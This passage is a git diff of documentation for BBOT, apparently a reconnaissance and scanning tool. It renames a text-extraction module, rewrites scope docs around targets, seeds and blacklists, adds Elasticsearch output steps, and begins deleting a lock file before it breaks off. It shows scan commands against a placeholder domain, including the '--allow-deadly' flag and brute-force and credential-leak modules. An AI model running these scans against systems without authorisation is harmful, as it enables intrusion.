| str | Folder to download docker repositories to. If not specified, downloaded docker images will be deleted when the scan completes, to minimize disk usage. | | -| modules.extractous.extensions | list | File extensions to parse | ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml'] | +| modules.kreuzberg.extensions | list | File extensions to parse | ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml'] | | modules.fullhunt.api_key | str | FullHunt API Key | | | modules.git_clone.api_key | str | Github token | | | modules.git_clone.output_folder | str | Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage. | | diff --git a/docs/scanning/events.md b/docs/scanning/events.md index f554b8b797..7d168e4456 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -113,7 +113,7 @@ Below is a full list of event types along with which modules produce/consume the | DNS_NAME | 60 | 43 | anubisdb, asset_inventory, azure_realm, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, passivetotal, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, digitorus, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, passivetotal, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, vhost, viewdns, virustotal, wayback | | DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | | EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | -| FILESYSTEM | 4 | 9 | extractous, jadx, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | +| FILESYSTEM | 4 | 9 | kreuzberg, jadx, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | | FINDING | 2 | 32 | asset_inventory, web_report | ajaxpro, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, newsletters, ntlm, nuclei, paramminer_cookies, paramminer_getparams, reflected_parameters, retirejs, shodan_idb, smuggler, speculate, telerik, trufflehog, url_manipulation, wpscan | | GEOLOCATION | 0 | 2 | | ip2location, ipstack | | HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | @@ -127,7 +127,7 @@ Below is a full list of event types along with which modules produce/consume the | PASSWORD | 0 | 2 | | credshed, dehashed | | PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | | RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | -| RAW_TEXT | 2 | 1 | excavate, trufflehog | extractous | +| RAW_TEXT | 2 | 1 | excavate, trufflehog | kreuzberg | | SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | | STORAGE_BUCKET | 8 | 5 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft | | TECHNOLOGY | 4 | 8 | asset_inventory, gitlab_onprem, web_report, wpscan | badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_idb, wpscan | diff --git a/docs/scanning/index.md b/docs/scanning/index.md index 63ff4cda95..18358ae0ce 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -114,8 +114,8 @@ A single module can have multiple flags. For example, the `securitytrails` modul <!-- BBOT MODULE FLAGS --> | Flag | # Modules | Description | Modules | |------------------|-------------|----------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| safe | 98 | Non-intrusive, safe to run | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, extractous, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ip2location, ipstack, jadx, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, portscan, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| passive | 70 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_realm, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, extractous, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| safe | 98 | Non-intrusive, safe to run | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, kreuzberg, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ip2location, ipstack, jadx, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, portscan, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| passive | 70 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_realm, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, kreuzberg, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | | active | 52 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, vhost, wafw00f, wpscan | | subdomain-enum | 51 | Enumerates subdomains | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | | aggressive | 22 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, generic_ssrf, host_header, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, telerik, url_manipulation, vhost, wafw00f, wpscan | @@ -177,24 +177,28 @@ bbot -t evilcorp.com -f subdomain-enum -c scope.report_distance=1 If you want to scan **_only_** that specific target hostname and none of its children, you can specify `--strict-scope`. -Note that `--strict-scope` only applies to targets and whitelists, but not blacklists. This means that if you put `internal.evilcorp.com` in your blacklist, you can be sure none of its subdomains will be scanned, even when using `--strict-scope`. +Note that `--strict-scope` only applies to targets, but not blacklists. This means that if you put `internal.evilcorp.com` in your blacklist, you can be sure none of its subdomains will be scanned, even when using `--strict-scope`. -### Whitelists and Blacklists +### Targets, Seeds, and Blacklists -BBOT allows precise control over scope with whitelists and blacklists. These both use the same syntax as `--target`, meaning they accept the same event types, and you can specify an unlimited number of them, via a file, the CLI, or both. +BBOT uses three related concepts to control scope and how a scan is driven: -#### Whitelists +- **Targets (`-t` / `--targets`)**: Define what is in-scope. These also act as scan seeds if seeds aren't explicitly defined. +- **Seeds (`-s` / `--seeds`)**: Seeds define the starting point for the scan. They drive **passive** modules and can be outside of the explicit target list (out of scope) for those passive modules. If you don’t specify `--seeds`, BBOT will automatically use your targets as seeds. +- **Blacklists (`-b` / `--blacklist`)**: Define what is **never** touched. Anything matching the blacklist is excluded from the scan, even if it would otherwise be in-scope. -`--whitelist` enables you to override what's in scope. For example, if you want to run nuclei against `evilcorp.com`, but stay only inside their corporate IP range of `1.2.3.0/24`, you can accomplish this like so: +This separation lets you, for example, keep a tight target list for what’s considered in-scope, while still allowing passive modules to discover new subdomains that may ultimately be in-scope. The blacklist helps to mask-off anything that you know should not be scanned. + +For example, lets say you have a target with subdomains that resolve both within, and outside of an IP range that defines your scope. You can set the IP range as the **target**, and then safely let BBOT explore the domain defined in **seeds**. Any discovered assets that are in your scope will automatically be assessed by active modules. ```bash -# Seed scan with evilcorp.com, but restrict scope to 1.2.3.0/24 -bbot -t evilcorp.com --whitelist 1.2.3.0/24 -f subdomain-enum -m portscan nuclei --allow-deadly +bbot -t 192.168.1.0/24 -s evilcorp.com -f subdomain-enum -m nuclei --allow-deadly ``` +In this example, any discovered `evilcorp.com` subdomains that resolve within `192.168.1.0/24` will be scanned by `Nuclei`. Any others will be discovered, but not touched by active modules. #### Blacklists -`--blacklist` takes ultimate precedence. Anything in the blacklist is completely excluded from the scan, even if it's in the whitelist. +`--blacklist` takes ultimate precedence. Anything in the blacklist is completely excluded from the scan, even if it would otherwise be in-scope based on your targets or seeds. ```bash # Scan evilcorp.com, but exclude internal.evilcorp.com and its children @@ -222,7 +226,7 @@ If you only want to blacklist the URL, you could narrow the regex like so: bbot -t evilcorp.com --blacklist 'RE:signout\.aspx$' ``` -Similar to targets and whitelists, blacklists can be specified in your preset. The `spider` preset makes use of this to prevent the spider from following logout links: +Similar to targets, blacklists can be specified in your preset. The `spider` preset makes use of this to prevent the spider from following logout links: ```yaml title="spider.yml" description: Recursive web spider @@ -277,4 +281,4 @@ dns: wildcard_tests: 20 ``` -If that doesn't work you can consider [blacklisting](#whitelists-and-blacklists) the offending domain. +If that doesn't work you can consider [blacklisting](#targets-seeds-and-blacklists) the offending domain. diff --git a/docs/scanning/output.md b/docs/scanning/output.md index b46eb40c86..6063c0a893 100644 --- a/docs/scanning/output.md +++ b/docs/scanning/output.md @@ -155,15 +155,20 @@ config: ### Elasticsearch -When outputting to Elastic, use the `http` output module with the following settings (replace `<your_index>` with your desired index, e.g. `bbot`): +- Step 1: Spin up a quick Elasticsearch docker image + +```bash +docker run -d -p 9200:9200 --name=bbot-elastic --v "$(pwd)/elastic_data:/usr/share/elasticsearch/data" -e ELASTIC_PASSWORD=bbotislife -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.16.0 +``` + +- Step 2: Execute a scan with `elastic` output module ```bash # send scan results directly to elasticsearch -bbot -t evilcorp.com -om http -c \ - modules.http.url=http://localhost:8000/<your_index>/_doc \ - modules.http.siem_friendly=true \ - modules.http.username=elastic \ - modules.http.password=changeme +# note: you can replace "bbot" with your own index name +bbot -t evilcorp.com -om elastic -c \ + modules.elastic.url=https://localhost:9200/bbot/_doc \ + modules.elastic.password=bbotislife ``` Alternatively, via a preset: @@ -171,11 +176,9 @@ Alternatively, via a preset: ```yaml title="elastic_preset.yml" config: modules: - http: - url: http://localhost:8000/<your_index>/_doc - siem_friendly: true - username: elastic - password: changeme + elastic: + url: http://localhost:9200/bbot/_doc + password: bbotislife ``` ### Splunk diff --git a/docs/scanning/tips_and_tricks.md b/docs/scanning/tips_and_tricks.md index 52589c4aa7..eb7ae16ed3 100644 --- a/docs/scanning/tips_and_tricks.md +++ b/docs/scanning/tips_and_tricks.md @@ -108,24 +108,6 @@ config: bbot -t evilcorp.com -p skip_cdns.yml ``` -### Ingest BBOT Data Into SIEM (Elastic, Splunk) - -If your goal is to run a BBOT scan and later feed its data into a SIEM such as Elastic, be sure to enable this option when scanning: - -```bash -bbot -t evilcorp.com -c modules.json.siem_friendly=true -``` - -This ensures the `.data` event attribute is always the same type (a dictionary), by nesting it like so: -```json -{ - "type": "DNS_NAME", - "data": { - "DNS_NAME": "blacklanternsecurity.com" - } -} -``` - ### Custom HTTP Proxy Web pentesters may appreciate BBOT's ability to quickly populate Burp Suite site maps for all subdomains in a target. If your scan includes gowitness, this will capture the traffic as if you manually visited each website in your browser -- including auxiliary web resources and javascript API calls. To accomplish this, set the `web.http_proxy` config option like so: @@ -152,20 +134,28 @@ By default, BBOT only shows in-scope events (with a few exceptions for things li bbot -f subdomain-enum -t evilcorp.com -c scope.report_distance=2 ~~~ -### Speed Up Scans By Disabling DNS Resolution +### Speed Up Scans with `--fast-mode` + +If you have a ready list of hosts/urls and just want to scan them as fast as possible without any extra discovery, use `--fast-mode`. It's a CLI alias for `--preset fast`, which disables non-essential speculation and DNS resolution: + +```yaml +--8<-- "bbot/presets/fast.yml" +``` If you already have a list of discovered targets (e.g. URLs), you can speed up the scan by skipping BBOT's DNS resolution. You can do this by setting `dns.disable` to `true`: +If you don't care about DNS-based scope checks, you can go even further by completely disabling DNS resolution: + ~~~bash # completely disable DNS resolution -bbot -m httpx gowitness wappalyzer -t urls.txt -c dns.disable=true +bbot -m httpx gowitness -t urls.txt -c dns.disable=true ~~~ -Note that the above setting _completely_ disables DNS resolution, meaning even `A` and `AAAA` records are not resolved. This can cause problems if you're using an IP whitelist or blacklist. In this case, you'll want to use `dns.minimal` instead: +Note that the above setting _completely_ disables DNS, meaning even `A` and `AAAA` records are not resolved. This can cause problems if you're using an IP whitelist or blacklist. In this case, you'll want to use `dns.minimal` instead: ~~~bash # only resolve A and AAAA records -bbot -m httpx gowitness wappalyzer -t urls.txt -c dns.minimal=true +bbot -m httpx gowitness -t urls.txt -c dns.minimal=true ~~~ ## FAQ diff --git a/poetry.lock b/poetry.lock deleted file mode 100644 index 27221489f3..0000000000 --- a/poetry.lock +++ /dev/null @@ -1,4303 +0,0 @@ -# This file is automatically @generated by Poetry 2.2.1 and should not be changed by hand. - -[[package]] -name = "annotated-doc" -version = "0.0.4" -description = "Document parameters, class attributes, return types, and variables inline, with Annotated." -optional = false -python-versions = ">=3.8" -groups = ["dev"] -files = [ - {file = "annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320"}, - {file = "annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4"}, -] - -[[package]] -name = "annotated-types" -version = "0.7.0" -description = "Reusable constraint types to use with typing.Annotated" -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53"}, - {file = "annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89"}, -] - -[[package]] -name = "ansible-core" -version = "2.15.13" -description = "Radically simple IT automation" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "ansible_core-2.15.13-py3-none-any.whl", hash = "sha256:e7f50bbb61beae792f5ecb86eff82149d3948d078361d70aedb01d76bc483c30"}, - {file = "ansible_core-2.15.13.tar.gz", hash = "sha256:f542e702ee31fb049732143aeee6b36311ca48b7d13960a0685afffa0d742d7f"}, -] - -[package.dependencies] -cryptography = "*" -importlib-resources = {version = ">=5.0,<5.1", markers = "python_version < \"3.10\""} -jinja2 = ">=3.0.0" -packaging = "*" -PyYAML = ">=5.1" -resolvelib = ">=0.5.3,<1.1.0" - -[[package]] -name = "ansible-runner" -version = "2.4.2" -description = "\"Consistent Ansible Python API and CLI with container and process isolation runtime capabilities\"" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "ansible_runner-2.4.2-py3-none-any.whl", hash = "sha256:0bde6cb39224770ff49ccdc6027288f6a98f4ed2ea0c64688b31217033221893"}, - {file = "ansible_runner-2.4.2.tar.gz", hash = "sha256:331d4da8d784e5a76aa9356981c0255f4bb1ba640736efe84b0bd7c73a4ca420"}, -] - -[package.dependencies] -importlib-metadata = {version = ">=4.6,<6.3", markers = "python_version < \"3.10\""} -packaging = "*" -pexpect = ">=4.5" -python-daemon = "*" -pyyaml = "*" - -[[package]] -name = "antlr4-python3-runtime" -version = "4.9.3" -description = "ANTLR 4.9.3 runtime for Python 3.7" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "antlr4-python3-runtime-4.9.3.tar.gz", hash = "sha256:f224469b4168294902bb1efa80a8bf7855f24c99aef99cbefc1bcd3cce77881b"}, -] - -[[package]] -name = "anyio" -version = "4.12.1" -description = "High-level concurrency and networking framework on top of asyncio or Trio" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -files = [ - {file = "anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c"}, - {file = "anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703"}, -] - -[package.dependencies] -exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""} -idna = ">=2.8" -typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""} - -[package.extras] -trio = ["trio (>=0.31.0) ; python_version < \"3.10\"", "trio (>=0.32.0) ; python_version >= \"3.10\""] - -[[package]] -name = "babel" -version = "2.18.0" -description = "Internationalization utilities" -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "babel-2.18.0-py3-none-any.whl", hash = "sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35"}, - {file = "babel-2.18.0.tar.gz", hash = "sha256:b80b99a14bd085fcacfa15c9165f651fbb3406e66cc603abf11c5750937c992d"}, -] - -[package.extras] -dev = ["backports.zoneinfo ; python_version < \"3.9\"", "freezegun (>=1.0,<2.0)", "jinja2 (>=3.0)", "pytest (>=6.0)", "pytest-cov", "pytz", "setuptools", "tzdata ; sys_platform == \"win32\""] - -[[package]] -name = "backports-asyncio-runner" -version = "1.2.0" -description = "Backport of asyncio.Runner, a context manager that controls event loop life cycle." -optional = false -python-versions = "<3.11,>=3.8" -groups = ["dev"] -markers = "python_version < \"3.11\"" -files = [ - {file = "backports_asyncio_runner-1.2.0-py3-none-any.whl", hash = "sha256:0da0a936a8aeb554eccb426dc55af3ba63bcdc69fa1a600b5bb305413a4477b5"}, - {file = "backports_asyncio_runner-1.2.0.tar.gz", hash = "sha256:a5aa7b2b7d8f8bfcaa2b57313f70792df84e32a2a746f585213373f900b42162"}, -] - -[[package]] -name = "backrefs" -version = "6.1" -description = "A wrapper around re and regex that adds additional back references." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "backrefs-6.1-py310-none-any.whl", hash = "sha256:2a2ccb96302337ce61ee4717ceacfbf26ba4efb1d55af86564b8bbaeda39cac1"}, - {file = "backrefs-6.1-py311-none-any.whl", hash = "sha256:e82bba3875ee4430f4de4b6db19429a27275d95a5f3773c57e9e18abc23fd2b7"}, - {file = "backrefs-6.1-py312-none-any.whl", hash = "sha256:c64698c8d2269343d88947c0735cb4b78745bd3ba590e10313fbf3f78c34da5a"}, - {file = "backrefs-6.1-py313-none-any.whl", hash = "sha256:4c9d3dc1e2e558965202c012304f33d4e0e477e1c103663fd2c3cc9bb18b0d05"}, - {file = "backrefs-6.1-py314-none-any.whl", hash = "sha256:13eafbc9ccd5222e9c1f0bec563e6d2a6d21514962f11e7fc79872fd56cbc853"}, - {file = "backrefs-6.1-py39-none-any.whl", hash = "sha256:a9e99b8a4867852cad177a6430e31b0f6e495d65f8c6c134b68c14c3c95bf4b0"}, - {file = "backrefs-6.1.tar.gz", hash = "sha256:3bba1749aafe1db9b915f00e0dd166cba613b6f788ffd63060ac3485dc9be231"}, -] - -[package.extras] -extras = ["regex"] - -[[package]] -name = "beautifulsoup4" -version = "4.14.3" -description = "Screen-scraping library" -optional = false -python-versions = ">=3.7.0" -groups = ["main", "docs"] -files = [ - {file = "beautifulsoup4-4.14.3-py3-none-any.whl", hash = "sha256:0918bfe44902e6ad8d57732ba310582e98da931428d231a5ecb9e7c703a735bb"}, - {file = "beautifulsoup4-4.14.3.tar.gz", hash = "sha256:6292b1c5186d356bba669ef9f7f051757099565ad9ada5dd630bd9de5fa7fb86"}, -] - -[package.dependencies] -soupsieve = ">=1.6.1" -typing-extensions = ">=4.0.0" - -[package.extras] -cchardet = ["cchardet"] -chardet = ["chardet"] -charset-normalizer = ["charset-normalizer"] -html5lib = ["html5lib"] -lxml = ["lxml"] - -[[package]] -name = "cachetools" -version = "6.2.6" -description = "Extensible memoizing collections and decorators" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "cachetools-6.2.6-py3-none-any.whl", hash = "sha256:8c9717235b3c651603fff0076db52d6acbfd1b338b8ed50256092f7ce9c85bda"}, - {file = "cachetools-6.2.6.tar.gz", hash = "sha256:16c33e1f276b9a9c0b49ab5782d901e3ad3de0dd6da9bf9bcd29ac5672f2f9e6"}, -] - -[[package]] -name = "certifi" -version = "2026.1.4" -description = "Python package for providing Mozilla's CA Bundle." -optional = false -python-versions = ">=3.7" -groups = ["main", "dev", "docs"] -files = [ - {file = "certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c"}, - {file = "certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120"}, -] - -[[package]] -name = "cffi" -version = "2.0.0" -description = "Foreign Function Interface for Python calling C code." -optional = false -python-versions = ">=3.9" -groups = ["main"] -markers = "platform_python_implementation != \"PyPy\" or implementation_name == \"pypy\"" -files = [ - {file = "cffi-2.0.0-cp310-cp310-macosx_10_13_x86_64.whl", hash = "sha256:0cf2d91ecc3fcc0625c2c530fe004f82c110405f101548512cce44322fa8ac44"}, - {file = "cffi-2.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f73b96c41e3b2adedc34a7356e64c8eb96e03a3782b535e043a986276ce12a49"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:53f77cbe57044e88bbd5ed26ac1d0514d2acf0591dd6bb02a3ae37f76811b80c"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3e837e369566884707ddaf85fc1744b47575005c0a229de3327f8f9a20f4efeb"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5eda85d6d1879e692d546a078b44251cdd08dd1cfb98dfb77b670c97cee49ea0"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9332088d75dc3241c702d852d4671613136d90fa6881da7d770a483fd05248b4"}, - {file = "cffi-2.0.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc7de24befaeae77ba923797c7c87834c73648a05a4bde34b3b7e5588973a453"}, - {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cf364028c016c03078a23b503f02058f1814320a56ad535686f90565636a9495"}, - {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e11e82b744887154b182fd3e7e8512418446501191994dbf9c9fc1f32cc8efd5"}, - {file = "cffi-2.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8ea985900c5c95ce9db1745f7933eeef5d314f0565b27625d9a10ec9881e1bfb"}, - {file = "cffi-2.0.0-cp310-cp310-win32.whl", hash = "sha256:1f72fb8906754ac8a2cc3f9f5aaa298070652a0ffae577e0ea9bd480dc3c931a"}, - {file = "cffi-2.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:b18a3ed7d5b3bd8d9ef7a8cb226502c6bf8308df1525e1cc676c3680e7176739"}, - {file = "cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe"}, - {file = "cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664"}, - {file = "cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = 